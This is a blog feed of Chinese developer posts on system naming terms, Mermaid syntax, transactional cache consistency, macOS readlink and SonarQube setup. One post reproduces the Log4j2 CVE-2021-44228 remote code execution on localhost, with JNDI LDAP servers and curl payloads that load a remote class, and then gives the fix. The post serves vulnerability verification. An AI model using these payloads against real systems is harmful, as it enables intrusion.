Jekyll2023-07-30T13:49:53+08:00https://shaneking.org/feed.xmlShaneKingShaneKing's BlogShaneKing说说哪些在报告中描述”系统”的词汇2022-05-08T00:00:00+08:002022-05-08T00:00:00+08:00https://shaneking.org/2022/05/08/naming-of-system-description<p>经常在系统能力汇报的报告中,看到各种各样都是在描述”系统”的词汇,但是同样一个”系统”,在不同的报告中却有着不同后缀,特此梳理,以备后需。</p>
<h2 id="对比">对比</h2>
<p>PS:以下文字,基于软件行业背景,与生活中的理解可能略有不同。</p>
<table>
<thead>
<tr>
<th style="text-align: left">后缀</th>
<th style="text-align: left">描述</th>
<th style="text-align: left">说明</th>
</tr>
</thead>
<tbody>
<tr>
<td style="text-align: left">系统</td>
<td style="text-align: left">为完成一项或多项特定业务目标,协助或独立存在的整体;独立部署运行的都可以叫系统,包括B/S、C/S等各种形式独立运行于服务器和PC的软件程序</td>
<td style="text-align: left"> </td>
</tr>
<tr>
<td style="text-align: left">平台</td>
<td style="text-align: left">逻辑上的平台:不可访问的,仅仅是一个称呼(比如:滴滴平台);物理上的平台:聚合了多个系统能力的系统</td>
<td style="text-align: left"> </td>
</tr>
<tr>
<td style="text-align: left">功能</td>
<td style="text-align: left">能够完成某项特定目标的、具有业务含义的、可操作的界面(比如:用户的增删改查功能,<strong>身份证扫描件</strong>上传功能)</td>
<td style="text-align: left"> </td>
</tr>
<tr>
<td style="text-align: left">模块</td>
<td style="text-align: left">能够完成某项抽象目标的、系统组成部分(比如:<strong>文件</strong>上传模块)</td>
<td style="text-align: left">与<code class="language-plaintext highlighter-rouge">功能</code>的区别在于业务性,如果是业务的抽象通常称为<code class="language-plaintext highlighter-rouge">功能模块</code>或<code class="language-plaintext highlighter-rouge">业务功能模块</code></td>
</tr>
<tr>
<td style="text-align: left">引擎</td>
<td style="text-align: left">聚焦某一特定领域、抽象业务含义、且可独立运行但通常集成于系统中的<code class="language-plaintext highlighter-rouge">功能</code>或<code class="language-plaintext highlighter-rouge">模块</code>(比如保险领域里的保费计算引擎,流程领域里的流程执行引擎)</td>
<td style="text-align: left">通过举例可见<code class="language-plaintext highlighter-rouge">引擎</code>可能是<code class="language-plaintext highlighter-rouge">系统</code>,<code class="language-plaintext highlighter-rouge">功能</code>或<code class="language-plaintext highlighter-rouge">模块</code></td>
</tr>
<tr>
<td style="text-align: left">组件</td>
<td style="text-align: left">能够完成某领域抽象目标的,通常表现为<code class="language-plaintext highlighter-rouge">功能</code>或<code class="language-plaintext highlighter-rouge">模块</code>的基础或依赖</td>
<td style="text-align: left">与<code class="language-plaintext highlighter-rouge">模块</code>的区别在于,<code class="language-plaintext highlighter-rouge">模块</code>是针对系统而言的,<code class="language-plaintext highlighter-rouge">组件</code>通常脱离系统</td>
</tr>
<tr>
<td style="text-align: left">构件</td>
<td style="text-align: left">可被其他系统直接使用/嵌入/饮用的<code class="language-plaintext highlighter-rouge">功能</code>或功能集合</td>
<td style="text-align: left"> </td>
</tr>
<tr>
<td style="text-align: left"> </td>
<td style="text-align: left"> </td>
<td style="text-align: left"> </td>
</tr>
<tr>
<td style="text-align: left">工具</td>
<td style="text-align: left">脱离业务的或针对某一业务领域的,可独立运行的,随时可用的,随时可关闭的,可临时性的<code class="language-plaintext highlighter-rouge">系统</code></td>
<td style="text-align: left"> </td>
</tr>
<tr>
<td style="text-align: left">插件</td>
<td style="text-align: left">可热插拔到系统中的<code class="language-plaintext highlighter-rouge">功能</code></td>
<td style="text-align: left"> </td>
</tr>
<tr>
<td style="text-align: left">框架</td>
<td style="text-align: left">一组组件完成的、某一行业领域的、抽象实现</td>
<td style="text-align: left"> </td>
</tr>
</tbody>
</table>
<p>层次:平台>系统>引擎>构件>功能>模块>组件</p>ShaneKing经常在系统能力汇报的报告中,看到各种各样都是在描述”系统”的词汇,但是同样一个”系统”,在不同的报告中却有着不同后缀,特此梳理,以备后需。Mermaid 笔记2022-04-16T00:00:00+08:002022-04-16T00:00:00+08:00https://shaneking.org/2022/04/16/memraid-notes<p>作为一个文本化狂热分子,坚定的文本派,必须要码图,而不画图。</p>
<h2 id="graph-流程图">graph 流程图</h2>
<pre><code class="language-mermaid">%% T=TOP,B=BOTTOM,L=LEFT,R=RIGHT,D=DOWN
%% TB,BT,LR,RL,TD,DT
%% [],(),(()),>],{}
%% -->,---,--text---,--text-->,-.-,-.->,-.text.-,-.text.->,===,==>,==text===,==text==>
graph LR
subgraph Sg1
id11[Rectangle11]
Id12("圆角矩形节点12")
iD13(("圆形节点13"))
end
subgraph Sg2
ID21>"右向旗帜状节点21"]
Id22{"菱形节点22"}
end
id00---id11
id11--Description---ID21
id11--Description-->Id22
Id12==Description===ID21
Id12=="描述"==>Id22
ID21-."描述".-iD13
Id22-.Description.->iD13
iD13-->id99
</code></pre>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>%% T=TOP,B=BOTTOM,L=LEFT,R=RIGHT,D=DOWN
%% TB,BT,LR,RL,TD,DT
%% [],(),(()),>],{}
%% -->,---,--text---,--text-->,-.-,-.->,-.text.-,-.text.->,===,==>,==text===,==text==>
graph LR
subgraph Sg1
id11[Rectangle11]
Id12("圆角矩形节点12")
iD13(("圆形节点13"))
end
subgraph Sg2
ID21>"右向旗帜状节点21"]
Id22{"菱形节点22"}
end
id00---id11
id11--Description---ID21
id11--Description-->Id22
Id12==Description===ID21
Id12=="描述"==>Id22
ID21-."描述".-iD13
Id22-.Description.->iD13
iD13-->id99
</code></pre></div></div>
<h2 id="sequence-diagram-序列图">sequence diagram 序列图</h2>
<pre><code class="language-mermaid">%% participant Use_participant_control_sequence
%% note [right of | left of][Actor]:Text
%% note over [Actor1, Actor2...]:Text
%%% loop Loop_text
%%% ... statements...
%%% end
%%%% alt Describing_text
%%%% ...statements...
%%%% else
%%%% ...statements...
%%%% end
%%%%% opt Describing_text
%%%%% ...statements...
%%%%% end
%% ->,-->,->>,-->>,-x,--x
sequenceDiagram
participant B
participant A
participant C
B->C:Must Description
B-->A:Must Description
loop Option Description
A->>B:Must Description
end
alt Option Description
C-->>C:Must Description
else Option Description
B-xB:Must Description
end
opt Option Description
B--xC:Must Description
end
note left of B:Must Description
note right of B:Must Description
note over B,C:Must Description
note left of C:Must Description
note right of C:Must Description
</code></pre>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>%% participant Use_participant_control_sequence
%% note [right of | left of][Actor]:Text
%% note over [Actor1, Actor2...]:Text
%%% loop Loop_text
%%% ... statements...
%%% end
%%%% alt Describing_text
%%%% ...statements...
%%%% else
%%%% ...statements...
%%%% end
%%%%% opt Describing_text
%%%%% ...statements...
%%%%% end
%% ->,-->,->>,-->>,-x,--x
sequenceDiagram
participant B
participant A
participant C
B->C:Must Description
B-->A:Must Description
loop Option Description
A->>B:Must Description
end
alt Option Description
C-->>C:Must Description
else Option Description
B-xB:Must Description
end
opt Option Description
B--xC:Must Description
end
note left of B:Must Description
note right of B:Must Description
note over B,C:Must Description
note left of C:Must Description
note right of C:Must Description
</code></pre></div></div>
<h2 id="gantt-diagram-甘特图">gantt diagram 甘特图</h2>
<pre><code class="language-mermaid">gantt
%% title,dateFormat,section,Completed,Active,Future,crit,No_date__Default_from_previous_completed
%% comment_must_be_after_gantt_word
dateFormat YYYY-MM-DD
title Adding GANTT diagram functionality to mermaid
excludes weekends
%% (`excludes` accepts specific dates in YYYY-MM-DD format, days of the week ("sunday") or "weekends", but not the word "weekdays".)
section A section
Completed task :done, des1, 2014-01-06,2014-01-08
Active task :active, des2, 2014-01-09, 3d
Future task : des3, after des2, 5d
Future task2 : des4, after des3, 5d
section Critical tasks
Completed task in the critical line :crit, done, 2014-01-06,24h
Implement parser and jison :crit, done, after des1, 2d
Create tests for parser :crit, active, 3d
Future task in critical line :crit, 5d
Create tests for renderer :2d
Add to mermaid :1d
Functionality added :milestone, 2014-01-25, 0d
section Documentation
Describe gantt syntax :active, a1, after des1, 3d
Add gantt diagram to demo page :after a1 , 20h
Add another diagram to demo page :doc1, after a1 , 48h
section Last section
Describe gantt syntax :after doc1, 3d
Add gantt diagram to demo page :20h
Add another diagram to demo page :48h
</code></pre>
<h2 id="参考">参考</h2>
<ul>
<li>官方文档:<a href="https://mermaid-js.github.io/mermaid/#/">https://mermaid-js.github.io/mermaid/#/</a></li>
</ul>ShaneKing作为一个文本化狂热分子,坚定的文本派,必须要码图,而不画图。Apache Log4j2 远程代码执行漏洞(CVE-2021-44228)2021-12-13T00:00:00+08:002021-12-13T00:00:00+08:00https://shaneking.org/2021/12/13/cve-2021-44228<p>近期,大家都被这个<strong>核弹级</strong>漏洞搞疯了,各种紧急生产补丁的上,所以咱也来凑凑热闹</p>
<h2 id="问题">问题</h2>
<p>这个漏洞到底有多严重?基本上看到<code class="language-plaintext highlighter-rouge">远程代码执行</code>,就是非常严重的漏洞,因为这代表攻击者,可以在被攻击者服务器上,执行任何想要的操作。</p>
<h2 id="思考">思考</h2>
<p>怎么验证存在及修复了这个漏洞?</p>
<h2 id="复现">复现</h2>
<h3 id="基于jndiexploit搭建ldap">基于JNDIExploit,搭建LDAP</h3>
<ul>
<li>参考:<a href="https://github.com/Mr-xn/JNDIExploit-1">https://github.com/Mr-xn/JNDIExploit-1</a></li>
<li><code class="language-plaintext highlighter-rouge">java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 127.0.0.1</code></li>
</ul>
<h3 id="创建一个web工程模拟被攻击的系统如果验证已有系统可跳过">创建一个Web工程(模拟被攻击的系统,如果验证已有系统可跳过)</h3>
<ul>
<li>如:<a href="https://github.com/ShaneKingBlog/org.shaneking.demo.cve.y2021.s44228">https://github.com/ShaneKingBlog/org.shaneking.demo.cve.y2021.s44228</a></li>
<li>启动</li>
</ul>
<h3 id="见证奇迹的时刻">见证奇迹的时刻</h3>
<ul>
<li>请求
<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-d</span> <span class="s1">'val=${jndi:ldap://127.0.0.1:1389/SkTest211213Before}'</span> <span class="nt">-d</span> <span class="s1">'otherKey=otherVal'</span> <span class="nt">-X</span> POST http://localhost:8081/demo/cve/y2021/s44228/log
</code></pre></div> </div>
</li>
<li>JNDIExploit控制台输出结果(说明log4j2存在CVE-2021-44228漏洞)
<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">[</span>+] LDAP Server Start Listening on 1389...
<span class="o">[</span>+] HTTP Server Start Listening on 8080...
<span class="o">[</span>+] Received LDAP Query: SkTest211213Before
<span class="o">[!]</span> Invalid LDAP Query: SkTest211213Before
<span class="o">[</span>+] Received LDAP Query: SkTest211213Before
<span class="o">[!]</span> Invalid LDAP Query: SkTest211213Before
<span class="o">[</span>+] Received LDAP Query: SkTest211213Before
<span class="o">[!]</span> Invalid LDAP Query: SkTest211213Before
</code></pre></div> </div>
</li>
</ul>
<h2 id="解决">解决</h2>
<p>参考官方解决意见,升级版本到<code class="language-plaintext highlighter-rouge">2.15.0</code>,包括但不限于如下方式:</p>
<ul>
<li>SpringBoot项目
<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt"><properties></span>
<span class="nt"><java.version></span>1.8<span class="nt"></java.version></span>
<span class="nt"><log4j2.version></span>2.15.0<span class="nt"></log4j2.version></span><span class="c"><!-- add this property to fix CVE-2021-44228 --></span>
<span class="nt"></properties></span>
</code></pre></div> </div>
</li>
</ul>
<h2 id="回顾">回顾</h2>
<h3 id="原理">原理</h3>
<ul>
<li>log4j2在打印<code class="language-plaintext highlighter-rouge">${xxx}</code>内容时,会当命令执行</li>
</ul>
<h3 id="远程代码执行">远程代码执行</h3>
<h4 id="将漏洞文件放于某web服务器中">将漏洞文件放于某Web服务器中</h4>
<ul>
<li>如:将 <a href="https://github.com/ShaneKingBlog/org.shaneking.demo.cve.y2021.s44228/src/main/resources/static/Log4j2Rce.class">https://github.com/ShaneKingBlog/org.shaneking.demo.cve.y2021.s44228/src/main/resources/static/Log4j2Rce.class</a> 文件放于某Web服务器中</li>
<li>或启动 <a href="https://github.com/ShaneKingBlog/org.shaneking.demo.cve.y2021.s44228">https://github.com/ShaneKingBlog/org.shaneking.demo.cve.y2021.s44228</a> 工程</li>
</ul>
<h4 id="通过marshalsec搭建ldap">通过marshalsec,搭建LDAP</h4>
<ul>
<li>参考:<a href="https://github.com/mbechler/marshalsec">https://github.com/mbechler/marshalsec</a></li>
<li>命令(根据需要替换Web服务器url)
<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code>java <span class="nt">-cp</span> marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer <span class="s2">"http://127.0.0.1:8081/#Log4j2Rce"</span> 1389
</code></pre></div> </div>
</li>
</ul>
<h3 id="创建一个web工程模拟被攻击的系统如果验证已有系统可跳过-1">创建一个Web工程(模拟被攻击的系统,如果验证已有系统可跳过)</h3>
<ul>
<li>如:<a href="https://github.com/ShaneKingBlog/org.shaneking.demo.cve.y2021.s44228">https://github.com/ShaneKingBlog/org.shaneking.demo.cve.y2021.s44228</a></li>
<li>启动(如上面已启动,则无需再启动)</li>
</ul>
<h4 id="见证奇迹的时刻-1">见证奇迹的时刻</h4>
<ul>
<li>请求:
<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-d</span> <span class="s1">'val=${jndi:ldap://127.0.0.1:1389/Log4j2Rce}'</span> <span class="nt">-d</span> <span class="s1">'otherKey=otherVal'</span> <span class="nt">-X</span> POST http://localhost:8081/demo/cve/y2021/s44228/log
</code></pre></div> </div>
</li>
<li>org.shaneking.demo.cve.y2021.s44228.web控制台输出结果(说明log4j2存在CVE-2021-44228漏洞)</li>
</ul>
<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code>2021-12-15 01:58:09.458 INFO 45940 <span class="nt">---</span> <span class="o">[</span>nio-8081-exec-2] o.s.w.s.DispatcherServlet : Completed initialization <span class="k">in </span>16 ms
SkTest211213Before: will print when Log4j2Rce loaded <span class="k">in </span>static.
SkTest211213Before: will print when Log4j2Rce loaded <span class="k">in </span>constructor.
2021-12-15 01:58:09.795 WARN 45940 <span class="nt">---</span> <span class="o">[</span>nio-8081-exec-2] s.d.c.y.s.c.DemoCveY2021S44228Controller : <span class="k">${</span><span class="nv">jndi</span>:ldap://127.0.0.1:1389/Log4j2Rce<span class="k">}</span>
SkTest211213Before: will print when Log4j2Rce loaded <span class="k">in </span>constructor.
2021-12-15 01:58:10.332 WARN 45940 <span class="nt">---</span> <span class="o">[</span>nio-8081-exec-2] s.d.c.y.s.c.DemoCveY2021S44228Controller : RAW <span class="o">=</span> <span class="k">${</span><span class="nv">jndi</span>:ldap://127.0.0.1:1389/Log4j2Rce<span class="k">}</span>
SkTest211213Before: will print when Log4j2Rce loaded <span class="k">in </span>constructor.
2021-12-15 01:58:10.351 WARN 45940 <span class="nt">---</span> <span class="o">[</span>nio-8081-exec-2] s.d.c.y.s.c.DemoCveY2021S44228Controller : FMT <span class="o">=</span> <span class="k">${</span><span class="nv">jndi</span>:ldap://127.0.0.1:1389/Log4j2Rce<span class="k">}</span>
</code></pre></div></div>
<h2 id="附录">附录</h2>
<ul>
<li>基于DREAD模型的漏洞等级计算:<a href="https://www.secrss.com/articles/5566">https://www.secrss.com/articles/5566</a>
<img src="/images/posts/2021/12/db5608769f509557cb99ff7e464bd059.jpg" alt="" /></li>
<li>安全漏洞如何评级:<a href="https://www.zhihu.com/question/53669275">https://www.zhihu.com/question/53669275</a>
<img src="/images/posts/2021/12/v2-de2ba8149eeac2cc442c1d3214f5f44f_1440w.jpg" alt="" /></li>
<li>漏洞等级说明:<a href="https://help.aliyun.com/document_detail/28388.html">https://help.aliyun.com/document_detail/28388.html</a></li>
</ul>ShaneKing近期,大家都被这个核弹级漏洞搞疯了,各种紧急生产补丁的上,所以咱也来凑凑热闹事务场景下:缓存数据一致性思考2021-05-16T00:00:00+08:002021-05-16T00:00:00+08:00https://shaneking.org/2021/05/16/cache-data-consistency-in-transaction-scenarios<p>场景生需求,需求生设计,设计生领域,领域生万物</p>
<h2 id="问题">问题</h2>
<h3 id="非事务场景">非事务场景</h3>
<p>大部分使用缓存的场景都是非事务的,甚至都不要求数据强一致性。比如各种限时限量抢购:看着有货,创建订单报没有货,返回去查,还能查到有货。PS:机票超卖是故意,与缓存无关。</p>
<p>非事务场景下,缓存与数据源数据一致性,<code class="language-plaintext highlighter-rouge">仅需数据源操作成功后,清理掉相应的缓存即可</code>。如下图:</p>
<p><img src="/images/posts/2021/05/cache-data-consistency-1.png" alt="" /></p>
<h3 id="事务场景">事务场景</h3>
<p>当数据源有了回到过去的能力后,上面的方案就不能满足了。</p>
<p><img src="/images/posts/2021/05/cache-data-consistency-2.png" alt="" /></p>
<p>除上图场景外,还有更多事务交织的场景。</p>
<h2 id="思考">思考</h2>
<p>假设:单机系统使用的是单机缓存或分布式缓存,分布式系统使用的是分布式缓存。分布式系统使用单机缓存不在考虑范围之内。</p>
<p><img src="/images/posts/2021/05/cache-data-consistency-3.png" alt="" /></p>
<h2 id="解决">解决</h2>
<h3 id="缓存接口修改">缓存接口修改</h3>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">public</span> <span class="kd">interface</span> <span class="nc">CacheHelper</span> <span class="o">{</span>
<span class="nc">ThreadLocal</span><span class="o"><</span><span class="nc">Map</span><span class="o"><</span><span class="nc">String</span><span class="o">,</span> <span class="nc">List</span><span class="o"><</span><span class="nc">String</span><span class="o">>>></span> <span class="no">DEL_MAP</span> <span class="o">=</span> <span class="nc">ThreadLocal</span><span class="o">.</span><span class="na">withInitial</span><span class="o">(</span><span class="nl">Map0:</span><span class="o">:</span><span class="n">newHashMap</span><span class="o">);</span><span class="c1">//by transaction</span>
<span class="k">default</span> <span class="nc">Boolean</span> <span class="nf">del</span><span class="o">(</span><span class="kt">boolean</span> <span class="n">withoutTransactional</span><span class="o">,</span> <span class="nd">@NonNull</span> <span class="nc">String</span> <span class="n">key</span><span class="o">)</span> <span class="o">{</span>
<span class="k">if</span> <span class="o">(!</span><span class="n">withoutTransactional</span> <span class="o">&&</span> <span class="n">inTransactional</span><span class="o">())</span> <span class="o">{</span>
<span class="c1">//need record operation key in transactional</span>
<span class="no">DEL_MAP</span><span class="o">.</span><span class="na">get</span><span class="o">().</span><span class="na">computeIfAbsent</span><span class="o">(</span><span class="n">currentTransactionName</span><span class="o">(),</span> <span class="n">k</span> <span class="o">-></span> <span class="nc">List0</span><span class="o">.</span><span class="na">newArrayList</span><span class="o">()).</span><span class="na">add</span><span class="o">(</span><span class="n">key</span><span class="o">);</span>
<span class="o">}</span>
<span class="k">return</span> <span class="nf">getCache</span><span class="o">().</span><span class="na">del</span><span class="o">(</span><span class="n">key</span><span class="o">);</span>
<span class="o">}</span>
<span class="k">default</span> <span class="kt">void</span> <span class="nf">set</span><span class="o">(</span><span class="nd">@NonNull</span> <span class="nc">String</span> <span class="n">key</span><span class="o">,</span> <span class="nd">@NonNull</span> <span class="nc">String</span> <span class="n">value</span><span class="o">)</span> <span class="o">{</span>
<span class="kt">boolean</span> <span class="n">contain</span> <span class="o">=</span> <span class="kc">false</span><span class="o">;</span>
<span class="k">if</span> <span class="o">(</span><span class="n">inTransactional</span><span class="o">())</span> <span class="o">{</span>
<span class="c1">//in transactional, if key in record operation key list, can not cache</span>
<span class="n">contain</span> <span class="o">=</span> <span class="no">DEL_MAP</span><span class="o">.</span><span class="na">get</span><span class="o">().</span><span class="na">computeIfAbsent</span><span class="o">(</span><span class="n">currentTransactionName</span><span class="o">(),</span> <span class="n">k</span> <span class="o">-></span> <span class="nc">List0</span><span class="o">.</span><span class="na">newArrayList</span><span class="o">()).</span><span class="na">contains</span><span class="o">(</span><span class="n">key</span><span class="o">);</span>
<span class="o">}</span>
<span class="k">if</span> <span class="o">(!</span><span class="n">contain</span><span class="o">)</span> <span class="o">{</span>
<span class="n">getCache</span><span class="o">().</span><span class="na">set</span><span class="o">(</span><span class="n">key</span><span class="o">,</span> <span class="n">value</span><span class="o">);</span>
<span class="o">}</span>
<span class="o">}</span>
<span class="o">}</span>
</code></pre></div></div>
<h3 id="事务切面处理">事务切面处理</h3>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nd">@Aspect</span>
<span class="nd">@Component</span>
<span class="nd">@Order</span><span class="o">(</span><span class="nc">CacheTransactionAspect</span><span class="o">.</span><span class="na">ORDER</span><span class="o">)</span><span class="c1">//@EnableTransactionManagement(order = <this)</span>
<span class="kd">public</span> <span class="kd">class</span> <span class="nc">CacheTransactionAspect</span> <span class="o">{</span>
<span class="kd">public</span> <span class="kd">static</span> <span class="kd">final</span> <span class="kt">int</span> <span class="no">ORDER</span> <span class="o">=</span> <span class="mi">500000</span><span class="o">;</span>
<span class="nd">@Autowired</span>
<span class="kd">private</span> <span class="nc">ApplicationEventPublisher</span> <span class="n">applicationEventPublisher</span><span class="o">;</span>
<span class="nd">@Pointcut</span><span class="o">(</span><span class="s">"execution(@org.springframework.transaction.annotation.Transactional * *..*.*(..))"</span><span class="o">)</span>
<span class="kd">private</span> <span class="kt">void</span> <span class="nf">pointcut</span><span class="o">()</span> <span class="o">{</span>
<span class="o">}</span>
<span class="nd">@Around</span><span class="o">(</span><span class="s">"pointcut() && @annotation(transactional)"</span><span class="o">)</span>
<span class="kd">public</span> <span class="nc">Object</span> <span class="nf">around</span><span class="o">(</span><span class="nc">ProceedingJoinPoint</span> <span class="n">pjp</span><span class="o">,</span> <span class="nc">Transactional</span> <span class="n">transactional</span><span class="o">)</span> <span class="kd">throws</span> <span class="nc">Throwable</span> <span class="o">{</span>
<span class="n">applicationEventPublisher</span><span class="o">.</span><span class="na">publishEvent</span><span class="o">(</span><span class="k">new</span> <span class="nc">CacheTransactionEventObject</span><span class="o">().</span><span class="na">setReadOnly</span><span class="o">(</span><span class="n">transactional</span><span class="o">.</span><span class="na">readOnly</span><span class="o">())</span>
<span class="o">.</span><span class="na">setCurrentTransactionReadOnly</span><span class="o">(</span><span class="nc">TransactionSynchronizationManager</span><span class="o">.</span><span class="na">isCurrentTransactionReadOnly</span><span class="o">())</span>
<span class="o">.</span><span class="na">setTransactionName</span><span class="o">(</span><span class="nc">TransactionSynchronizationManager</span><span class="o">.</span><span class="na">getCurrentTransactionName</span><span class="o">()));</span>
<span class="k">return</span> <span class="n">pjp</span><span class="o">.</span><span class="na">proceed</span><span class="o">();</span>
<span class="o">}</span>
<span class="o">}</span>
</code></pre></div></div>
<h3 id="事务监听处理">事务监听处理</h3>
<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nd">@Component</span>
<span class="kd">public</span> <span class="kd">class</span> <span class="nc">CacheTransactionEventListener</span> <span class="o">{</span>
<span class="nd">@Autowired</span>
<span class="kd">private</span> <span class="nc">CacheHelper</span> <span class="n">cacheHeloper</span><span class="o">;</span>
<span class="nd">@TransactionalEventListener</span><span class="o">(</span><span class="n">phase</span> <span class="o">=</span> <span class="nc">TransactionPhase</span><span class="o">.</span><span class="na">AFTER_COMPLETION</span><span class="o">)</span>
<span class="kd">public</span> <span class="kt">void</span> <span class="nf">afterCompletion</span><span class="o">(</span><span class="nc">PayloadApplicationEvent</span><span class="o"><</span><span class="nc">CacheTransactionEventObject</span><span class="o">></span> <span class="n">event</span><span class="o">)</span> <span class="o">{</span>
<span class="nc">String</span> <span class="n">transactionName</span> <span class="o">=</span> <span class="n">event</span><span class="o">.</span><span class="na">getPayload</span><span class="o">().</span><span class="na">getTransactionName</span><span class="o">();</span>
<span class="k">if</span> <span class="o">(!</span><span class="nc">String0</span><span class="o">.</span><span class="na">isNullOrEmpty</span><span class="o">(</span><span class="n">transactionName</span><span class="o">))</span> <span class="o">{</span>
<span class="k">if</span> <span class="o">(</span><span class="n">cache</span> <span class="o">!=</span> <span class="kc">null</span><span class="o">)</span> <span class="o">{</span>
<span class="c1">//need remove other thread re-cache</span>
<span class="k">for</span> <span class="o">(</span><span class="nc">String</span> <span class="n">key</span> <span class="o">:</span> <span class="nc">CacheHelper</span><span class="o">.</span><span class="na">DEL_MAP</span><span class="o">.</span><span class="na">get</span><span class="o">().</span><span class="na">computeIfAbsent</span><span class="o">(</span><span class="n">transactionName</span><span class="o">,</span> <span class="n">k</span> <span class="o">-></span> <span class="nc">List0</span><span class="o">.</span><span class="na">newArrayList</span><span class="o">()))</span> <span class="o">{</span>
<span class="n">cacheHeloper</span><span class="o">.</span><span class="na">del</span><span class="o">(</span><span class="kc">true</span><span class="o">,</span> <span class="n">key</span><span class="o">);</span>
<span class="o">}</span>
<span class="o">}</span>
<span class="nc">CacheHelper</span><span class="o">.</span><span class="na">DEL_MAP</span><span class="o">.</span><span class="na">get</span><span class="o">().</span><span class="na">remove</span><span class="o">(</span><span class="n">transactionName</span><span class="o">);</span>
<span class="o">}</span>
<span class="o">}</span>
<span class="o">}</span>
</code></pre></div></div>
<h2 id="回顾">回顾</h2>
<p>非事务场景下:<code class="language-plaintext highlighter-rouge">仅需数据源操作成功后,清理掉相应的缓存即可</code></p>
<p>事务场景下:<code class="language-plaintext highlighter-rouge">除本事务不应缓存已清理过的key之外,在事务完成后,已清理过一遍的key,还需再清理一遍</code></p>ShaneKing场景生需求,需求生设计,设计生领域,领域生万物Mac 中使用 readlink2021-02-12T00:00:00+08:002021-02-12T00:00:00+08:00https://shaneking.org/2021/02/12/use-readlink-in-mac<p>相对总是容易让人找不到位置,N 轮相对后更是如此。特别是 Shell 程序,readlink 绝对的好帮手</p>
<h2 id="问题">问题</h2>
<p>Mac 下运行 readlink 程序报如下错误</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">readlink</span>: illegal option <span class="nt">--</span> f
usage: <span class="nb">readlink</span> <span class="o">[</span><span class="nt">-n</span><span class="o">]</span> <span class="o">[</span>file ...]
</code></pre></div></div>
<h2 id="解决">解决</h2>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>brew <span class="nb">install </span>coreutils
<span class="c">### macos 10.15 before</span>
<span class="nb">cat</span> <span class="o">>></span>~/.bash_profile <span class="o"><<</span><span class="no">EOF</span><span class="sh">
# sk</span><span class="si">$(</span><span class="nb">date</span> +<span class="s1">'%Y%m%d%H%M%S'</span><span class="si">)</span><span class="sh">
alias readlink=greadlink
</span><span class="no">EOF
</span><span class="nb">source</span> ~/.bash_profile
<span class="c">### macos 10.15 and after</span>
<span class="nb">cat</span> <span class="o">>></span>~/.zprofile <span class="o"><<</span><span class="no">EOF</span><span class="sh">
# sk</span><span class="si">$(</span><span class="nb">date</span> +<span class="s1">'%Y%m%d%H%M%S'</span><span class="si">)</span><span class="sh">
alias readlink=greadlink
</span><span class="no">EOF
</span><span class="nb">source</span> ~/.zprofile
</code></pre></div></div>ShaneKing相对总是容易让人找不到位置,N 轮相对后更是如此。特别是 Shell 程序,readlink 绝对的好帮手你的代码怎么样?2021-02-11T00:00:00+08:002021-02-11T00:00:00+08:00https://shaneking.org/2021/02/11/how-your-code<p>你的代码怎么样?抛开体系架构不谈,抛开模式设计不说,抛开性能指标不看。除去个人的思想及手法,回到代码的基本功本身。Sonar</p>
<h2 id="要求">要求</h2>
<p>https://docs.sonarqube.org/latest/requirements/requirements/</p>
<ul>
<li>JDK11<sup id="fnref:1" role="doc-noteref"><a href="#fn:1" class="footnote" rel="footnote">1</a></sup>:<code class="language-plaintext highlighter-rouge">dnf -y install java-11-openjdk-devel</code></li>
<li>PostgreSQL<sup id="fnref:2" role="doc-noteref"><a href="#fn:2" class="footnote" rel="footnote">2</a></sup>
<ul>
<li>UTF8<sup id="fnref:1:1" role="doc-noteref"><a href="#fn:1" class="footnote" rel="footnote">1</a></sup></li>
<li><code class="language-plaintext highlighter-rouge">ALTER USER sonaruser SET search_path to sonarschema</code><sup id="fnref:3" role="doc-noteref"><a href="#fn:3" class="footnote" rel="footnote">3</a></sup></li>
</ul>
</li>
</ul>
<h2 id="安装">安装</h2>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">if</span> <span class="o">[</span> <span class="o">!</span> <span class="nt">-d</span> <span class="k">${</span><span class="nv">SK_EXP__GIR_REPO_DIR</span><span class="k">}</span>/skWorkspace/1612870559333_SDfsRpNpStjSEsOGHqk <span class="o">]</span><span class="p">;</span> <span class="k">then
</span><span class="nb">mkdir</span> <span class="nt">-p</span> <span class="k">${</span><span class="nv">SK_EXP__GIR_REPO_DIR</span><span class="k">}</span>/skWorkspace/1612870559333_SDfsRpNpStjSEsOGHqk <span class="o">&&</span> <span class="nb">cd</span> <span class="k">${</span><span class="nv">SK_EXP__GIR_REPO_DIR</span><span class="k">}</span>/skWorkspace/1612870559333_SDfsRpNpStjSEsOGHqk
wget https://binaries.sonarsource.com/Distribution/sonarqube/sonarqube-8.6.1.40680.zip
<span class="nb">mkdir</span> <span class="nt">-p</span> /usr/local/sonar <span class="o">&&</span> <span class="nb">cd</span> /usr/local/sonar
unzip <span class="nt">-o</span> <span class="k">${</span><span class="nv">SK_EXP__GIR_REPO_DIR</span><span class="k">}</span>/skWorkspace/1612870559333_SDfsRpNpStjSEsOGHqk/sonarqube-8.6.1.40680.zip <span class="nt">-d</span> ./
<span class="nb">cp</span> /usr/local/sonar/sonarqube-8.6.1.40680/conf/sonar.properties /usr/local/sonar/sonarqube-8.6.1.40680/conf/sonar.properties_skbak<span class="si">$(</span><span class="nb">date</span> +<span class="s1">'%Y%m%d%H%M%S'</span><span class="si">)</span>
